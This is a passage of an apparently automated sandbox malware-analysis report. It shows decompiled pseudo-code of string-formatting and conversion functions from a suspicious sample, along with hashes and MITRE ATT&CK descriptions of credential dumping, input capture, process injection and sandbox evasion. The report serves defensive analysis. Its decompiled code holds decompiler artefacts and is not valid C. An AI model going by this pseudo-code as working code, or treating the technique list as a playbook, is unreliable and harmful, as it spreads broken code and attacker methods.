										0 =  *((char*)(__ebp + 0xffffffffffffff98));
										if( *((char*)(__ebp + 0xffffffffffffff98)) == 0x2d) {
											_push(0x2d);
											_pop(__eax);
											__ecx = _v16;
											 *__ecx = __ax;
											_v16 = _v16 + 1;
											__eax = _v16 + 2;
											_v16 = _v16 + 2;
											_v48 = 1;
										}
										goto L57;
									case 6:
										L57:
										__eax = _v24;
										_v20 = _v24;
										while(1) {
											__eax = _v20;
											if(_v20 >= _v76) {
												break;
											}
											_push(0x30);
											_pop(__eax);
											__ecx = _v16;
											 *__ecx = __ax;
											_v16 = _v16 + 1;
											__eax = _v16 + 2;
											_v16 = _v16 + 2;
											_v20 = _v20 + 1;
											_v20 = _v20 + 1;
											_a8 = _a8 - 1;
											_a8 = _a8 - 1;
										}
										__eax = _v48;
										_v20 = _v48;
										while(1) {
											__eax = _v20;
											if(_v20 >= _v24) {
												break;
											}
											__eax = _v20;
											__ax =  *(__ebp + _v20 - 0x68) & 0x000000ff;
											__ecx = _v16;
											 *__ecx = __ax;
											_v16 = _v16 + 1;
											__eax = _v16 + 2;
											_v16 = _v16 + 2;
											_v20 = _v20 + 1;
											_v20 = _v20 + 1;
										}
										goto L67;
									case 7:
										_v84 = _v84 & 0x00000002;
										if((_v84 & 0x00000002) != 0 && _a8 > 3) {
											_push(0x30);
											_pop(__eax);
											__ecx = _v16;
											 *_v16 = __ax;
											_v16 = _v16 + 1;
											__eax = _v16 + 2;
											_v16 = _v16 + 2;
											_v84 = _v84 & 0x00000020;
											if((_v84 & 0x00000020) == 0) {
												_v5 = 0x78;
											} else {
												_v5 = 0x58;
											}
											__ax = _v5;
											__ecx = _v16;
											 *__ecx = __ax;
											_v16 = _v16 + 1;
											__eax = _v16 + 2;
											_v16 = _v16 + 2;
											_a8 = _a8 - 1;
											__eax = _a8;
											_a8 = _a8;
											_v24 = _v24 - 1;
											__eax = _v24;
											_v24 = _v24;
										}
										goto L55;
								}
							}
						} else {
							 *_v16 =  *_a12;
							_v16 = _v16 + 2;
							_a12 =  &(_a12[1]);
							_a8 = _a8 - 1;
							continue;
						}
					} else {
						 *_v16 =  *_a12;
						_v16 = _v16 + 2;
						_a12 =  &(_a12[1]);
						_a8 = _a8 - 1;
						continue;
					}
					L76:
					return _v52;
				}
				 *_v16 = 0;
				if(_a8 <= 1) {
					_v52 = _v52 | 0xffffffff;
				} else {
					_v52 = _v16 - _a4 >> 1;
				}
				goto L76;
			}

0x002b3075
0x00000000
0x002b3078
0x002b3099
0x002b30c5
0x002b30d1
0x002b30f8
0x002b3109
0x002b310f
0x002b3116
0x002b315e
0x002b3167
0x002b3118
0x002b311c
0x002b3145
0x002b314f
0x002b311e
0x002b3122
0x002b3175
0x002b317e
0x002b3124
0x002b3128
0x002b3189
0x002b3192
0x002b312a
0x002b312e
0x002b31f5
0x002b31f7
0x002b3134
0x002b3138
0x002b319f
0x002b31c1
0x002b31e3
0x002b31ec
0x002b31ed
0x002b31f0
0x002b31c3
0x002b31c9
0x002b31cc
0x002b31d2
0x002b31d8
0x002b31d8
0x002b31a1
0x002b31a7
0x002b31b0
0x002b31b1
0x002b31b4
0x002b31b4
0x002b313a
0x00000000
0x002b313a
0x002b3138
0x002b312e
0x002b3128
0x002b3122
0x002b311c
0x002b320c
0x002b3211
0x002b3214
0x002b3217
0x002b3221
0x002b3226
0x002b3239
0x002b3243
0x002b3247
0x002b324f
0x002b322f
0x002b3236
0x002b3236
0x002b3239
0x002b3257
0x002b325e
0x002b3463
0x002b3469
0x002b346e
0x002b3481
0x002b348b
0x002b348f
0x002b3497
0x002b3477
0x002b347e
0x002b347e
0x002b3481
0x002b34a2
0x00000000
0x002b3264
0x002b3267
0x00000000
0x00000000
0x00000000
0x002b3290
0x002b32c0
0x002b32c0
0x002b32c2
0x002b32c5
0x002b32cb
0x002b32cc
0x002b32cd
0x002b3292
0x002b329a
0x002b32aa
0x00000000
0x002b32ac
0x002b32ac
0x002b32b3
0x002b32b9
0x002b32ba
0x002b32bb
0x002b32bb
0x002b32aa
0x00000000
0x00000000
0x002b3275
0x002b327d
0x00000000
0x00000000
0x002b32d5
0x002b32d8
0x002b32db
0x002b32e8
0x002b32e8
0x002b32ee
0x00000000
0x00000000
0x002b32f3
0x002b32ff
0x002b330a
0x002b3301
0x002b3301
0x002b3301
0x002b3311
0x002b3314
0x002b3319
0x002b332d
0x002b3330
0x002b3333
0x002b333b
0x002b3341
0x002b3342
0x002b3343
0x002b3349
0x002b334c
0x002b32e4
0x002b32e5
0x002b32e5
0x00000000
0x00000000
0x002b335a
0x002b335f
0x002b3362
0x002b3365
0x002b3368
0x002b336d
0x002b336e
0x002b3371
0x002b3374
0x002b3377
0x00000000
0x00000000
0x002b33d3
0x002b33d5
0x002b33d9
0x002b33e1
0x002b33e3
0x002b33e5
0x002b33e6
0x002b33e9
0x002b33ef
0x002b33f0
0x002b33f1
0x002b33f4
0x002b33f4
0x00000000
0x00000000
0x002b33fb
0x002b33fb
0x002b33fe
0x002b3411
0x002b3411
0x002b3417
0x00000000
0x00000000
0x002b3419
0x002b341b
0x002b341c
0x002b341f
0x002b3425
0x002b3426
0x002b3427
0x002b3406
0x002b3407
0x002b340d
0x002b340e
0x002b340e
0x002b342c
0x002b342f
0x002b343b
0x002b343b
0x002b3441
0x00000000
0x00000000
0x002b3443
0x002b3446
0x002b344c
0x002b344f
0x002b3455
0x002b3456
0x002b3457
0x002b3437
0x002b3438
0x002b3438
0x00000000
0x00000000
0x002b3382
0x002b3385
0x002b338d
0x002b338f
0x002b3390
0x002b3393
0x002b3399
0x002b339a
0x002b339b
0x002b33a1
0x002b33a4
0x002b33ac
0x002b33a6
0x002b33a6
0x002b33a6
0x002b33b0
0x002b33b5
0x002b33b8
0x002b33be
0x002b33bf
0x002b33c0
0x002b33c6
0x002b33c7
0x002b33c8
0x002b33ce
0x002b33cf
0x002b33d0
0x002b33d0
0x00000000
0x00000000
0x002b3267
0x002b30d3
0x002b30dc
0x002b30e4
0x002b30ec
0x002b30f3
0x00000000
0x002b30f3
0x002b309b
0x002b30a4
0x002b30ac
0x002b30b4
0x002b30bb
0x00000000
0x002b30bb
0x002b34c9
0x002b34cf
0x002b34cf
0x002b34af
0x002b34b6
0x002b34c5
0x002b34b8
0x002b34c0
0x002b34c0
0x00000000

Strings

(w, xrefs: 002B306C

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID:
String ID: (w
API String ID: 0-3041452326
Opcode ID: 9a0fde5e20a5dc4d082a66bd73e3365eeaf5da60febc99675c2a2204caad9ea5
Instruction ID: ccb558f3e3f8079d509f689502fbce4be734a140b3a1357c81024d5e9bda3b77
Opcode Fuzzy Hash: 9a0fde5e20a5dc4d082a66bd73e3365eeaf5da60febc99675c2a2204caad9ea5
Instruction Fuzzy Hash: 0F02BE74E2424AEFCB45DF98C885AEDB7F4FF09344F108456E82AEB250D770AA61CB51

Uniqueness

Uniqueness Score: -1.00%

Function 002B2BF0 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E002B2BF0(short* _a4, short* _a8, void* _a12, intOrPtr _a16) {
				void* _v5;
				signed char _v6;
				short* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				short* _v36;
				signed int _v40;
				signed int _v44;
				char _v52;
				char _v60;
				intOrPtr _v64;
				short _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				char _v108;
				signed int _t230;
				signed int _t252;
				intOrPtr _t308;
				signed int* _t343;
				void* _t346;

				_v6 = 0;
				if(_a4 == 0) {
					_v6 = 1;
					_a4 = E002B34F0(0x400);
				}
				_v12 = _a4;
				L3:
				while( *_a12 != 0 && _a8 > 1) {
					if( *_a12 == 0x25 || _a4 == 0) {
						_a12 = _a12 + 1;
						if( *_a12 != 0x25) {
							_t343 =  &_v84;
							_a12 = E002B266E(_a12, _t343) + _a12;
							_v24 = _v72;
							if(_v24 == 1) {
								_a16 = _a16 + 4;
								_v68 =  *(_a16 - 4);
								L30:
								_t252 = E002B2979( &_v84,  &_v68,  &_v108, _a8 - 1, 0);
								_t346 = _t346 + 0xc;
								_v20 = _t252;
								_v32 = _v32 & 0x00000000;
								if((_v84 & 0x00000001) != 0) {
									L35:
									_v40 = _v72;
									if(_v40 > 7) {
										L63:
										if((_v84 & 0x00000001) == 0) {
											L68:
											_a8 = _a8 - _v20;
											continue;
										}
										_v16 = _v76;
										while(_v16 < _v80) {
											 *_v12 = 0x20;
											_v12 =  &(_v12[0]);
											_v16 =  &(_v16[0]);
											_a8 = _a8 - 1;
										}
										goto L68;
									}
									switch( *((intOrPtr*)(_v40 * 4 +  &M002B304C))) {
										case 0:
											goto L3;
										case 1:
											__eax = _v12;
											 *_v12 = _v68;
											_v12 =  &(_v12[0]);
											_v12 =  &(_v12[0]);
											goto L63;
										case 2:
											if(WideCharToMultiByte(0, 0,  &_v68, 1,  &_v52, 5, 0, 0) != 0) {
												E002B3533(_v12,  &_v52, _v20);
												_v12 = _v12 + _v20;
											}
											goto L63;
										case 3:
											__edx = _v68;
											__ecx = _v12;
											E002B3533(_v12, __edx, _v20) = _v12;
											__eax = _v12 + _v20;
											_v12 = _v12 + _v20;
											goto L63;
										case 4:
											__eax = _v68;
											_v36 = _v68;
											_v16 = _v16 & 0x00000000;
											while(1) {
												__eax = _v16;
												if(_v16 >= _v20) {
													break;
												}
												__eax =  &_v60;
												_v28 = WideCharToMultiByte(0, 0, _v36, 1,  &_v60, 5, 0, 0);
												_v20 = _v20 - _v16;
												if(_v28 > _v20 - _v16) {
													_v20 = _v20 - _v16;
													_v28 = _v20 - _v16;
												}
												_v16 = _v16 + _v28;
												_v16 = _v16 + _v28;
												__edx =  &_v60;
												__ecx = _v12;
												E002B3533(_v12, __edx, _v28) = _v12;
												__eax = _v12 + _v28;
												_v12 = _v12 + _v28;
												_v36 =  &(_v36[0]);
												__eax =  &(_v36[1]);
												_v36 =  &(_v36[1]);
											}
											goto L63;
										case 5:
											L55:
											0 = 1;
											0 =  *((char*)(__ebp + 0xffffffffffffff98));
											if( *((char*)(__ebp + 0xffffffffffffff98)) == 0x2d) {
												__eax = _v12;
												 *_v12 = 0x2d;
												_v12 =  &(_v12[0]);
												_v12 =  &(_v12[0]);
												_v32 = 1;
											}
											goto L57;
										case 6:
											L57:
											__eax = _v20;
											_v16 = _v20;
											while(1) {
												__eax = _v16;
												if(_v16 >= _v76) {
													break;
												}
												__eax = _v12;
												 *_v12 = 0x30;
												_v12 =  &(_v12[0]);
												_v12 =  &(_v12[0]);
												_v16 = _v16 + 1;
												_v16 = _v16 + 1;
												_a8 = _a8 - 1;
												_a8 = _a8 - 1;
											}
											_v20 = _v20 - _v32;
											__eax = _v32;
											__edx = __ebp + _v32 - 0x68;
											__ecx = _v12;
											E002B3533(_v12, __edx, _v20 - _v32) = _v20;
											_v20 - _v32 = _v20 - _v32 + _v12;
											_v12 = _v20 - _v32 + _v12;
											goto L63;
										case 7:
											_v84 = _v84 & 0x00000002;
											if((_v84 & 0x00000002) != 0 && _a8 > 3) {
												__eax = _v12;
												 *_v12 = 0x30;
												_v12 =  &(_v12[0]);
												_v12 =  &(_v12[0]);
												_v84 = _v84 & 0x00000020;
												if((_v84 & 0x00000020) == 0) {
													_v5 = 0x78;
												} else {
													_v5 = 0x58;
												}
												__eax = _v12;
												 *_v12 = _v5;
												_v12 =  &(_v12[0]);
												_v12 =  &(_v12[0]);
												_a8 = _a8 - 1;
												__eax = _a8;
												_a8 = _a8;
												_v20 = _v20 - 1;
												__eax = _v20;
												_v20 = _v20;
											}
											goto L55;
									}
								}
								_v16 = _v76;
								while(_v16 < _v80) {
									 *_v12 = 0x20;
									_v12 =  &(_v12[0]);
									_v16 =  &(_v16[0]);
									_a8 = _a8 - 1;
								}
								goto L35;
							}
							if(_v24 == 2) {
								_a16 = _a16 + 4;
								_v68 =  *(_a16 - 4);
								goto L30;
							}
							if(_v24 == 3) {
								_a16 = _a16 + 4;
								_v68 =  *(_a16 - 4);
								goto L30;
							}
							if(_v24 == 4) {
								_a16 = _a16 + 4;
								_v68 =  *(_a16 - 4);
								goto L30;
							}
							if(_v24 <= 4) {
								L29:
								_v68 = 0;
								goto L30;
							}
							if(_v24 <= 7) {
								if((_v84 & 0x00000080) == 0) {
									if((_v84 & 0x00000100) == 0) {
										_a16 = _a16 + 4;
										asm("cdq");
										_v68 =  *(_a16 - 4);
										_v64 = _t343;
									} else {
										_a16 = _a16 + 8;
										_t308 = _a16;
										_v68 =  *(_t308 - 8);
										_v64 =  *((intOrPtr*)(_t308 - 4));
									}
								} else {
									_a16 = _a16 + 4;
									asm("cdq");
									_v68 =  *(_a16 - 4);
									_v64 = _t343;
								}
								goto L30;
							}
							goto L29;
						}
						 *_v12 =  *_a12;
						_v12 =  &(_v12[0]);
						_a12 = _a12 + 1;
						_a8 = _a8 - 1;
						continue;
					} else {
						 *_v12 =  *_a12;
						_v12 =  &(_v12[0]);
						_a12 = _a12 + 1;
						if(_a4 != 0) {
							_a8 = _a8 - 1;
							continue;
						}
						break;
					}
				}
				 *_v12 = 0;
				_t230 = _v6 & 0x000000ff;
				if(_t230 != 1) {
					if(_a8 <= 1) {
						_v44 = _v44 | 0xffffffff;
					} else {
						_v44 = _v12 - _a4;
					}
					return _v44;
				}
				if(_a8 > 1) {
					E002B4E8B(_a4, _v12 - _a4);
					_t230 = E002B351E(_a4);
				}
				return _t230 | 0xffffffff;
			}

0x002b2bf6
0x002b2bfe
0x002b2c00
0x002b2c0e
0x002b2c0e
0x002b2c14
0x00000000
0x002b2c17
0x002b2c38
0x002b2c70
0x002b2c7c
0x002b2ca2
0x002b2cb0
0x002b2cb6
0x002b2cbd
0x002b2d05
0x002b2d0e
0x002b2da2
0x002b2db3
0x002b2db8
0x002b2dbb
0x002b2dbe
0x002b2dc8
0x002b2df7
0x002b2dfa
0x002b2e01
0x002b2fb8
0x002b2fbe
0x002b2fed
0x002b2ff3
0x00000000
0x002b2ff3
0x002b2fc3
0x002b2fd6
0x002b2fe1
0x002b2fe8
0x002b2fcc
0x002b2fd3
0x002b2fd3
0x00000000
0x002b2fd6
0x002b2e0a
0x00000000
0x00000000
0x00000000
0x002b2e4c
0x002b2e52
0x002b2e57
0x002b2e58
0x00000000
0x00000000
0x002b2e2d
0x002b2e38
0x002b2e44
0x002b2e44
0x00000000
0x00000000
0x002b2e63
0x002b2e66
0x002b2e6f
0x002b2e72
0x002b2e75
0x00000000
0x00000000
0x002b2e7d
0x002b2e80
0x002b2e83
0x002b2e91
0x002b2e91
0x002b2e97
0x00000000
0x00000000
0x002b2e9f
0x002b2eb2
0x002b2eb8
0x002b2ebe
0x002b2ec3
0x002b2ec6
0x002b2ec6
0x002b2ecc
0x002b2ecf
0x002b2ed5
0x002b2ed8
0x002b2ee1
0x002b2ee4
0x002b2ee7
0x002b2e8c
0x002b2e8d
0x002b2e8e
0x002b2e8e
0x00000000
0x00000000
0x002b2f3d
0x002b2f3f
0x002b2f43
0x002b2f4b
0x002b2f4d
0x002b2f50
0x002b2f56
0x002b2f57
0x002b2f5a
0x002b2f5a
0x00000000
0x00000000
0x002b2f61
0x002b2f61
0x002b2f64
0x002b2f77
0x002b2f77
0x002b2f7d
0x00000000
0x00000000
0x002b2f7f
0x002b2f82
0x002b2f88
0x002b2f89
0x002b2f6c
0x002b2f6d
0x002b2f73
0x002b2f74
0x002b2f74
0x002b2f91
0x002b2f95
0x002b2f98
0x002b2f9c
0x002b2fa5
0x002b2fab
0x002b2fae
0x00000000
0x00000000
0x002b2ef4
0x002b2ef7
0x002b2eff
0x002b2f02
0x002b2f08
0x002b2f09
0x002b2f0f
0x002b2f12
0x002b2f1a
0x002b2f14
0x002b2f14
0x002b2f14
0x002b2f1e
0x002b2f24
0x002b2f29
0x002b2f2a
0x002b2f30
0x002b2f31
0x002b2f32
0x002b2f38
0x002b2f39
0x002b2f3a
0x002b2f3a
0x00000000
0x00000000
0x002b2e0a
0x002b2dcd
0x002b2de0
0x002b2deb
0x002b2df2
0x002b2dd6
0x002b2ddd
0x002b2ddd
0x00000000
0x002b2de0
0x002b2cc3
0x002b2cec
0x002b2cf6
0x00000000
0x002b2cf6
0x002b2cc9
0x002b2d1c
0x002b2d25
0x00000000
0x002b2d25
0x002b2ccf
0x002b2d30
0x002b2d39
0x00000000
0x002b2d39
0x002b2cd5
0x002b2d9c
0x002b2d9e
0x00000000
0x002b2d9e
0x002b2cdf
0x002b2d46
0x002b2d68
0x002b2d8a
0x002b2d93
0x002b2d94
0x002b2d97
0x002b2d6a
0x002b2d70
0x002b2d73
0x002b2d79
0x002b2d7f
0x002b2d7f
0x002b2d48
0x002b2d4e
0x002b2d57
0x002b2d58
0x002b2d5b
0x002b2d5b
0x00000000
0x002b2d9a
0x00000000
0x002b2ce1
0x002b2c86
0x002b2c8c
0x002b2c93
0x002b2c9a
0x00000000
0x002b2c40
0x002b2c48
0x002b2c4e
0x002b2c55
0x002b2c5c
0x002b2c67
0x00000000
0x002b2c67
0x00000000
0x002b2c5e
0x002b2c38
0x002b2ffe
0x002b3001
0x002b3008
0x002b3031
0x002b303e
0x002b3033
0x002b3039
0x002b3039
0x00000000
0x002b3042
0x002b300e
0x002b3019
0x002b3021
0x002b3021
0x00000000

APIs

Part of subcall function 002B34F0: EnterCriticalSection.KERNEL32(002B84D4,?,?,002B3B95,?,002B223F), ref: 002B34FA
Part of subcall function 002B34F0: GetProcessHeap.KERNEL32(00000008,?,?,?,002B3B95,?,002B223F), ref: 002B3503
Part of subcall function 002B34F0: RtlAllocateHeap.NTDLL(00000000,?,?,?,002B3B95,?,002B223F), ref: 002B350A
Part of subcall function 002B34F0: LeaveCriticalSection.KERNEL32(002B84D4,?,?,?,002B3B95,?,002B223F), ref: 002B3513

WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,00000005,00000000,00000000), ref: 002B2E25

Strings

@h)w, xrefs: 002B2E25, 002B2EAC
x, xrefs: 002B2F1A

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: CriticalHeapSection$AllocateByteCharEnterLeaveMultiProcessWide
String ID: @h)w$x
API String ID: 1990697408-879366538
Opcode ID: c5082cd5191f5dbe78d384159a95e595791c3c5d50eab786a64093816addc8bb
Instruction ID: c9b72b7a8b58770901d96d1e20258e1a8910500445127da3125db0a4e7228dd7
Opcode Fuzzy Hash: c5082cd5191f5dbe78d384159a95e595791c3c5d50eab786a64093816addc8bb
Instruction Fuzzy Hash: FE02AD7092424AEFCB01CF98D985AEDBBF0FF09344F148495E865EB250D374AAA5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 002B3CCC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E002B3CCC(short* __edx, intOrPtr* _a4) {
				intOrPtr _t11;
				short* _t17;
				char* _t18;

				_t17 = __edx;
				_t18 = 0;
				_t11 = (WideCharToMultiByte(0xfde9, 0, __edx, 0xffffffff, 0, 0, 0, 0) & 0x0000ffff) - 1;
				 *_a4 = _t11;
				if(_t11 != 0) {
					_t18 = E002B34F0(_t11 + 2);
					if(_t18 != 0) {
						WideCharToMultiByte(0xfde9, 0, _t17, 0xffffffff, _t18,  *_a4 + 1, 0, 0);
					}
				}
				return _t18;
			}

0x002b3cd3
0x002b3ce2
0x002b3cf0
0x002b3cf3
0x002b3cf5
0x002b3cff
0x002b3d03
0x002b3d1a
0x002b3d1a
0x002b3d03
0x002b3d25

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,$d.log,000000FF,00000000,00000000,00000000,00000000,?,?,?,002B3D71,00000000,?,?), ref: 002B3CE4

Part of subcall function 002B34F0: EnterCriticalSection.KERNEL32(002B84D4,?,?,002B3B95,?,002B223F), ref: 002B34FA
Part of subcall function 002B34F0: GetProcessHeap.KERNEL32(00000008,?,?,?,002B3B95,?,002B223F), ref: 002B3503
Part of subcall function 002B34F0: RtlAllocateHeap.NTDLL(00000000,?,?,?,002B3B95,?,002B223F), ref: 002B350A
Part of subcall function 002B34F0: LeaveCriticalSection.KERNEL32(002B84D4,?,?,?,002B3B95,?,002B223F), ref: 002B3513

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,$d.log,000000FF,00000000,?,00000000,00000000,?,002B3D71,00000000,?,?), ref: 002B3D1A

Strings

$d.log, xrefs: 002B3CDB, 002B3D13
@h)w, xrefs: 002B3CE4, 002B3D1A

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: ByteCharCriticalHeapMultiSectionWide$AllocateEnterLeaveProcess
String ID: $d.log$@h)w
API String ID: 635875880-1124087437
Opcode ID: a435d6157606e4c189c3ca0d44ef56b7118da02c7b6b6cdde08eb79efc8991f3
Instruction ID: 7a9369e58d8f085e6686288caf541a6618c5193bcd1db742f532df222478f143
Opcode Fuzzy Hash: a435d6157606e4c189c3ca0d44ef56b7118da02c7b6b6cdde08eb79efc8991f3
Instruction Fuzzy Hash: A7F089B16051257F6724AE6ADC19C777A6DDFC1BB03054729FD19CB2D0D9309C0086B0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

